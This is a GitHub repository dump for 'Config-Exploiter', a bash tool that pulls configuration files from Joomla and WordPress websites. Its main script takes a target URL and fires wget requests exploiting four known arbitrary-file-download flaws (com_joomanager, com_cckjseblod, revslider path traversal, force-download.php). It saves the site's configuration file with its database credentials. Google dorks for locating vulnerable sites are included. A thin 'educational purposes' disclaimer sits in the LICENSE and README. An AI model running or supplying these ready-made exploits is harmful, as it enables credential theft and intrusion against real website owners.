├── LICENSE.md ├── README.md ├── Screenshots ├── conf.png ├── config1.png ├── config2.png ├── config3.png ├── config5.png └── config6.png ├── config-exploiter.sh └── install.sh /LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) THIS TOOL IS ONLY FOR EDUCATIONAL PURPOSES ONLY Copyright (c) 2018 Belahsan Ouerghi 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Config-Exploiter 2 | Config-Exploiter : dump config.php File From Joomla And Wordpress Websites Programmed By Belahsan Ouerghi . 3 | ![config_exploiter](https://github.com/TunisianEagles/Config-Exploiter/blob/master/Screenshots/config1.png) 4 | # Installation 5 | ``` 6 | sudo apt-get install git 7 | git clone https://github.com/TunisianEagles/Config-Exploiter.git 8 | cd Config-Exploiter 9 | chmod +x install.sh 10 | sudo ./install.sh 11 | chmod +x config-exploiter.sh 12 | ./config-exploiter.sh 13 | ``` 14 | # Tutorial 15 | https://www.youtube.com/watch?v=tCxPJtGUlPw 16 | # Exploits 17 | * Joomla : com_joomanager & com_cckjseblod 18 | * Wordpress : revslider & Force File Download 19 | # Tested On 20 | * Backbox linux 21 | * Ubuntu 22 | # Contact 23 | * [Contact](https://www.facebook.com/ouerghi.belahsan) - Belahsan Ouerghi 24 | 25 | # Screenshots 26 | ![config_exploiter](https://github.com/TunisianEagles/Config-Exploiter/blob/master/Screenshots/config2.png) 27 | ![config_exploiter](https://github.com/TunisianEagles/Config-Exploiter/blob/master/Screenshots/config3.png) 28 | ![config_exploiter](https://github.com/TunisianEagles/Config-Exploiter/blob/master/Screenshots/conf.png) 29 | # 30 | * The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law. 31 | -------------------------------------------------------------------------------- /Screenshots/conf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/conf.png -------------------------------------------------------------------------------- /Screenshots/config1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config1.png -------------------------------------------------------------------------------- /Screenshots/config2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config2.png -------------------------------------------------------------------------------- /Screenshots/config3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config3.png -------------------------------------------------------------------------------- /Screenshots/config5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config5.png -------------------------------------------------------------------------------- /Screenshots/config6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/Config-Exploiter/78c032df433f398427a1594b33e1db8400fd3bf5/Screenshots/config6.png -------------------------------------------------------------------------------- /config-exploiter.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Colors 3 | n="1" 4 | n2="2" 5 | n3="3" 6 | n99="99" 7 | h="HTTPS" 8 | white="\033[1;37m" 9 | grey="\033[0;37m" 10 | purple="\033[0;35m" 11 | red="\033[1;31m" 12 | green="\033[1;32m" 13 | yellow="\033[1;33m" 14 | Purple="\033[0;35m" 15 | Cyan="\033[0;36m" 16 | Cafe="\033[0;33m" 17 | Fiuscha="\033[0;35m" 18 | blue="\033[1;34m" 19 | redback=" \e[41m" 20 | greenback="\e[42m" 21 | nc="\e[0m" 22 | #Banner 23 | clear 24 | echo -e "$Cyan ___ __ __ _ ____ __ ___ $nc" 25 | echo -e "$Cyan / __) / \ ( ( \( __) ( ) / __) $nc" 26 | echo -e "$Cyan( (__ ( O )/ / ) _) )( ( (_ \ $nc" 27 | echo -e "$Cyan \___) \__/ \_)__)(__) (__) \___/ $nc" 28 | echo -e "$Cyan ____ _ _ ____ __ __ __ ____ ____ ____ $nc" 29 | echo -e "$Cyan ( __)( \/ )( _ \( ) / \ ( ) (_ _)( __)( _ \ $nc" 30 | echo -e "$Cyan ) _) ) ( ) __// (_/\( O ) )( )( ) _) ) / $nc" 31 | echo -e "$Cyan (____)(_/\_)(__) \____/ \__/ (__) (__) (____)(__\_) $nc" 32 | echo "" 33 | echo "" 34 | echo -e " $Cafe┌─────────────────────────────────┐$nc" 35 | echo -e " $Cafe│$nc$green Programmed By $nc:$red Belahsan Ouerghi$Cafe│$nc" 36 | echo -e " $Cafe└─────────────────────────────────┘$nc" 37 | echo "" 38 | echo "" 39 | echo -e " $red[$green$n$red] $nc Jommla config file Download vulnerability " 40 | echo -e " $red[$green$n2$red]$nc Wordpress config file Download vulnerability " 41 | echo -e " $red[$green$n99$red]$nc Exit " 42 | echo "" 43 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch 44 | if [ $ch = "1" ]; then 45 | echo "" 46 | echo -e " $red[$green$n$red]$nc com_joomanager" 47 | echo -e " $red[$green$n2$red]$nc com_cckjseblod" 48 | echo -e " $red[$green$n3$red]$nc Back To Main Menu" 49 | echo -e " $red[$green$n99$red]$nc Exit" 50 | echo "" 51 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch2 52 | if [ $ch2 = "1" ]; then 53 | #com_joomanager 54 | clear 55 | echo -e " $Cafe┌───────────────────────────────────────────────────────┐$nc" 56 | echo -e " $Cafe│$nc$Cyan _________ _______ _______ _______ _ _______ $Cafe│$nc" 57 | echo -e " $Cafe│$nc$Cyan \__ _/( ___ )( ___ )( )( \ ( ___ )$Cafe│$nc" 58 | echo -e " $Cafe│$nc$Cyan ) ( | ( ) || ( ) || () () || ( | ( ) |$Cafe│$nc" 59 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || || || || | | (___) |$Cafe│$nc" 60 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || |(_)| || | | ___ |$Cafe│$nc" 61 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || | | || | | ( ) |$Cafe│$nc" 62 | echo -e " $Cafe│$nc$Cyan |\_) ) | (___) || (___) || ) ( || (____/\| ) ( |$Cafe│$nc" 63 | echo -e " $Cafe│$nc$Cyan (____/ (_______)(_______)|/ \|(_______/|/ \|$Cafe│$nc" 64 | echo -e " $Cafe└───────────────────────────────────────────────────────┘$nc" 65 | echo -e " $Cafe┌──────────────────────────────────────────────────────────┐" 66 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red Joomla Config File Download Vulnerability$nc$Cafe│$nc" 67 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles$nc $Cafe│$nc" 68 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles$nc $Cafe│$nc" 69 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux$nc $Cafe│$nc" 70 | echo -e " $Cafe│──────────────────────────────────────────────────────────$Cafe│$nc" 71 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:'index.php?option=com_joomanager'$nc $Cafe│$nc" 72 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────────────────────────────────────┐" 73 | echo -e " $Cafe│$nc$green Exploit$nc :$red /index.php?option=com_joomanager&controller=details&task=download&path=configuration.php$nc$Cafe│$nc" 74 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────────────────────────────────────┘" 75 | echo -e " $Cafe│$nc$green Coded By$nc : $red Belahsan Ouerghi$nc $Cafe│$nc" 76 | echo -e " $Cafe└──────────────────────────────────────────────────────────┘" 77 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urlq 78 | if [ $urlq -ne ]; then 79 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc" 80 | else 81 | wget "$urlq/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php" -O $urlq 82 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As ($urlq)$nc" 83 | fi 84 | elif [ $ch2 = "2" ]; then 85 | #com_cckjseblod 86 | clear 87 | echo -e " $Cafe┌───────────────────────────────────────────────────────┐$nc" 88 | echo -e " $Cafe│$nc$Cyan _________ _______ _______ _______ _ _______ $Cafe│$nc" 89 | echo -e " $Cafe│$nc$Cyan \__ _/( ___ )( ___ )( )( \ ( ___ )$Cafe│$nc" 90 | echo -e " $Cafe│$nc$Cyan ) ( | ( ) || ( ) || () () || ( | ( ) |$Cafe│$nc" 91 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || || || || | | (___) |$Cafe│$nc" 92 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || |(_)| || | | ___ |$Cafe│$nc" 93 | echo -e " $Cafe│$nc$Cyan | | | | | || | | || | | || | | ( ) |$Cafe│$nc" 94 | echo -e " $Cafe│$nc$Cyan |\_) ) | (___) || (___) || ) ( || (____/\| ) ( |$Cafe│$nc" 95 | echo -e " $Cafe│$nc$Cyan (____/ (_______)(_______)|/ \|(_______/|/ \|$Cafe│$nc" 96 | echo -e " $Cafe└───────────────────────────────────────────────────────┘$nc" 97 | echo -e " $Cafe┌──────────────────────────────────────────────────────────┐" 98 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red Joomla Config File Download Vulnerability$nc$Cafe│$nc" 99 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles$nc $Cafe│$nc" 100 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles$nc $Cafe│$nc" 101 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux$nc $Cafe│$nc" 102 | echo -e " $Cafe│──────────────────────────────────────────────────────────$Cafe│$nc" 103 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:option=com_cckjseblod$nc $Cafe│$nc" 104 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┐" 105 | echo -e " $Cafe│$nc$green Exploit$nc :$red /index.php?option=com_cckjseblod&task=download&file=configuration.php$nc$Cafe│$nc" 106 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘" 107 | echo -e " $Cafe│$nc$green Coded By$nc : $red Belahsan Ouerghi$nc $Cafe│$nc" 108 | echo -e " $Cafe│──────────────────────────────────────────────────────────│" 109 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc" 110 | echo -e " $Cafe└──────────────────────────────────────────────────────────$Cafe┘$nc" 111 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " url 112 | if [ $url -ne ]; then 113 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc" 114 | else 115 | wget "$url/index.php?option=com_cckjseblod&task=download&file=configuration.php" -O $url 116 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As ($url)$nc" 117 | fi 118 | elif [ $ch2 = "3" ]; then 119 | clear 120 | bash config-exploiter.sh 121 | elif [ $ch2 = "99" ]; then 122 | echo "" 123 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. " 124 | echo "" 125 | exit 1 126 | fi 127 | elif [ $ch = 2 ]; then 128 | echo "" 129 | echo -e " $red[$green$n$red]$nc revslider" 130 | echo -e " $red[$green$n2$red]$nc Force File Download" 131 | echo -e " $red[$green$n3$red]$nc Back To Main Menu" 132 | echo -e " $red[$green$n99$red]$nc Exit" 133 | echo "" 134 | read -p "$(echo -e $red[$nc$green+$nc$red]$nc) Enter Your Choice : " ch3 135 | if [ $ch3 = "1" ]; then 136 | #reslvider 137 | clear 138 | echo -e " $Cafe┌──────────────────────────────────────────────────────────────────────────────────┐" 139 | echo -e " $Cafe│$nc$Cyan _______ _______ ______ _______ _______ _______ _______ _______ $nc$Cafe│$nc" 140 | echo -e " $Cafe│$nc$Cyan|\ /|( ___ )( ____ )( __ \ ( ____ )( ____ )( ____ \( ____ \( ____ \ $nc$Cafe│$nc" 141 | echo -e " $Cafe│$nc$Cyan| ) ( || ( ) || ( )|| ( \ )| ( )|| ( )|| ( \/| ( \/| ( \/ $nc$Cafe│$nc" 142 | echo -e " $Cafe│$nc$Cyan| | _ | || | | || (____)|| | ) || (____)|| (____)|| (__ | (_____ | (_____ $nc$Cafe│$nc" 143 | echo -e " $Cafe│$nc$Cyan| |( )| || | | || __)| | | || _____)| __)| __) (_____ )(_____ ) $nc$Cafe│$nc" 144 | echo -e " $Cafe│$nc$Cyan| || || || | | || (\ ( | | ) || ( | (\ ( | ( ) | ) | $nc$Cafe│$nc" 145 | echo -e " $Cafe│$nc$Cyan| () () || (___) || ) \ \__| (__/ )| ) | ) \ \__| (____/\/\____) |/\____) | $nc$Cafe│$nc" 146 | echo -e " $Cafe│$nc$Cyan(_______)(_______)|/ \__/(______/ |/ |/ \__/(_______/\_______)\_______) $nc$Cafe│$nc" 147 | echo -e " $Cafe└──────────────────────────────────────────────────────────────────────────────────┘$nc" 148 | echo -e " $Cafe┌────────────────────────────────────────────────────────────────┐" 149 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red WordPress Arbitrary File Download vulnerability$Cafe│$nc" 150 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles $Cafe│$nc" 151 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles $Cafe│$nc" 152 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux $Cafe│$nc" 153 | echo -e " $Cafe│────────────────────────────────────────────────────────────────$Cafe│$nc" 154 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:/wp-content/plugins/revslider/ $Cafe│$nc" 155 | echo -e " $Cafe│$nc$green Dork$nc :$red revslider.php 'index of $Cafe│$nc" 156 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┐" 157 | echo -e " $Cafe│$nc$green Exploit$nc :$red /admin-ajax.php?action=revslider_show_image&img=../wp-config.php $Cafe│$nc" 158 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘" 159 | echo -e " $Cafe│$nc$green Coded By$nc :$red Belahsan Ouerghi $Cafe│$nc" 160 | echo -e " $Cafe│────────────────────────────────────────────────────────────────│$nc" 161 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc" 162 | echo -e " $Cafe└────────────────────────────────────────────────────────────────$Cafe┘$nc" 163 | 164 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urla 165 | if [ $urla -ne ]; then 166 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc" 167 | else 168 | wget "$urla/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php" -O $urla 169 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As $urla$nc" 170 | fi 171 | elif [ $ch3 = "2" ]; then 172 | #"exploit 2 173 | clear 174 | echo -e " $Cafe┌──────────────────────────────────────────────────────────────────────────────────┐" 175 | echo -e " $Cafe│$nc$Cyan _______ _______ ______ _______ _______ _______ _______ _______ $nc$Cafe│$nc" 176 | echo -e " $Cafe│$nc$Cyan|\ /|( ___ )( ____ )( __ \ ( ____ )( ____ )( ____ \( ____ \( ____ \ $nc$Cafe│$nc" 177 | echo -e " $Cafe│$nc$Cyan| ) ( || ( ) || ( )|| ( \ )| ( )|| ( )|| ( \/| ( \/| ( \/ $nc$Cafe│$nc" 178 | echo -e " $Cafe│$nc$Cyan| | _ | || | | || (____)|| | ) || (____)|| (____)|| (__ | (_____ | (_____ $nc$Cafe│$nc" 179 | echo -e " $Cafe│$nc$Cyan| |( )| || | | || __)| | | || _____)| __)| __) (_____ )(_____ ) $nc$Cafe│$nc" 180 | echo -e " $Cafe│$nc$Cyan| || || || | | || (\ ( | | ) || ( | (\ ( | ( ) | ) | $nc$Cafe│$nc" 181 | echo -e " $Cafe│$nc$Cyan| () () || (___) || ) \ \__| (__/ )| ) | ) \ \__| (____/\/\____) |/\____) | $nc$Cafe│$nc" 182 | echo -e " $Cafe│$nc$Cyan(_______)(_______)|/ \__/(______/ |/ |/ \__/(_______/\_______)\_______) $nc$Cafe│$nc" 183 | echo -e " $Cafe└──────────────────────────────────────────────────────────────────────────────────┘$nc" 184 | echo -e " $Cafe┌────────────────────────────────────────────────────────────────┐" 185 | echo -e " $Cafe│$nc$green Exploit Title$nc :$red WordPress force File Download vulnerability $Cafe│$nc" 186 | echo -e " $Cafe│$nc$green We Are$nc :$red Tunisian Eagles $Cafe│$nc" 187 | echo -e " $Cafe│$nc$green Home$nc :$red github.com/TunisianEagles $Cafe│$nc" 188 | echo -e " $Cafe│$nc$green Tested on$nc :$red Backbox linux $Cafe│$nc" 189 | echo -e " $Cafe│────────────────────────────────────────────────────────────────$Cafe│$nc" 190 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:force-download.php?file=wp-content/uploads$Cafe────────┐$nc" 191 | echo -e " $Cafe│$nc$green Dork$nc :$red inurl:wp-content/uploads inurl:force-download.php?file= $Cafe│$nc" 192 | echo -e " $Cafe│─────────────────────────────────────────────────────────────────────────┘────────────┐" 193 | echo -e " $Cafe│$nc$green Exploit$nc :$red /force-download.php?file=wp-config.php $Cafe│$nc" 194 | echo -e " $Cafe│──────────────────────────────────────────────────────────────────────────────────────┘" 195 | echo -e " $Cafe│$nc$green Coded By$nc :$red Belahsan Ouerghi $Cafe│$nc" 196 | echo -e " $Cafe│────────────────────────────────────────────────────────────────│$nc" 197 | echo -e " $Cafe│$nc$green Contact $nc :$red fb.com/ouerghi.belahsan $Cafe│$nc" 198 | echo -e " $Cafe└────────────────────────────────────────────────────────────────$Cafe┘$nc" 199 | read -p " $(echo -e $red[$nc$green+$nc$red]$nc) Enter Target URL $(echo -e $red[$nc without$green HTTP$nc/$green$h$red ]$nc) : " urld 200 | if [ $urld -ne ]; then 201 | echo -e " $red[$green+$nc$red]$nc$redback 404 Not Found, Exit$nc" 202 | else 203 | wget "$urld/force-download.php?file=wp-config.php" -O $urld 204 | echo -e " $red[$green+$nc$red]$nc$redback Config File Saved As $urla$nc" 205 | fi 206 | elif [ $ch3 = "3" ]; then 207 | clear 208 | bash config-exploiter.sh 209 | elif [ $ch3 = "99" ]; then 210 | echo "" 211 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. " 212 | echo "" 213 | exit 1 214 | fi 215 | elif [ $ch = "99" ]; then 216 | echo "" 217 | echo -e " $red[$green-$red]$nc$yellow Exit $nc. " 218 | echo "" 219 | exit 1 220 | fi 221 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Colors 3 | white="\033[1;37m" 4 | grey="\033[0;37m" 5 | purple="\033[0;35m" 6 | red="\033[1;31m" 7 | green="\033[1;32m" 8 | yellow="\033[1;33m" 9 | Purple="\033[0;35m" 10 | Cyan="\033[0;36m" 11 | Cafe="\033[0;33m" 12 | Fiuscha="\033[0;35m" 13 | blue="\033[1;34m" 14 | nc="\e[0m" 15 | #ROOT PRIVILEGIES 16 | if [[ $EUID -ne 0 ]]; then 17 | echo -e "$red You don't have Root privilegies, execute the script as root.$nc" 18 | exit 1 19 | fi 20 | #Uupdate 21 | sudo apt-get update 22 | #bash 23 | if which bash >/dev/null; then 24 | sleep 0.25 25 | echo -e "$nc[$green BASH $nc] Installed [$green✓$nc]" 26 | else 27 | sleep 0.25 28 | echo -e "$$nc[$green BASH $nc] Not Installed [$red✗$nc]" 29 | sleep 1 30 | echo "Install Bash " 31 | sudo apt-get install bash 32 | fi 33 | #curl 34 | if which curl >/dev/null; then 35 | sleep 0.25 36 | echo -e "$nc[$green CURL $nc] Installed [$green✓$nc]" 37 | else 38 | sleep 0.25 39 | echo -e "$nc[$green CURL $nc] Not Installed [$red✗$nc]" 40 | sleep 1 41 | echo "Install curl " 42 | sudo apt-get install curl 43 | fi 44 | #wget 45 | if which wget >/dev/null; then 46 | sleep 0.25 47 | echo -e "[$green WGET $nc] Installed [$green✓$nc]" 48 | else 49 | sleep 0.25 50 | echo -e "[$green WGET $nc] Not Installed [$red✗$nc]" 51 | sleep 1 52 | echo "Install WGET " 53 | sudo apt-get install wget 54 | fi 55 | #git 56 | if which git >/dev/null; then 57 | sleep 0.25 58 | echo -e "[$green GIT $nc] Installed [$green✓$nc]" 59 | else 60 | sleep 0.25 61 | echo -e "[$green GIT $nc] Not Installed [$red✗$nc]" 62 | sleep 1 63 | echo "Install GIT " 64 | sudo apt-get install git 65 | fi 66 | 67 | --------------------------------------------------------------------------------